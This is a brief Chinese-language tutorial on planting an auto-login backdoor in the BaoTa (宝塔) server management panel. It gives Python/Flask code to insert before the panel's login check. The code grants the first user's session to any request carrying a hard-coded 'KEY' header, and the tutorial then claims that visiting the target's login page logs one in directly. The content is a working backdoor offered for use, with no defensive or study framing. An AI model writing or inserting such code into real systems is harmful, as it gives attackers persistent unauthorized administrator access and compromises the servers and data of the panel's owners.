宝塔面板之定义一个自动登录后门

# 登录输入验证
f request.method == method_post[0]:

在前面加入代码：

from flask import request
import userlogin
if request.headers.get('KEY') == '123456789':
    userInfo = public.M('users').where('id=?', (1,)).field('id,username,password,salt').find()
    return userlogin.userlogin()._set_login_session(userInfo)

只需要访问目标：http://1.1.1.1/login 后就能直接登录成功！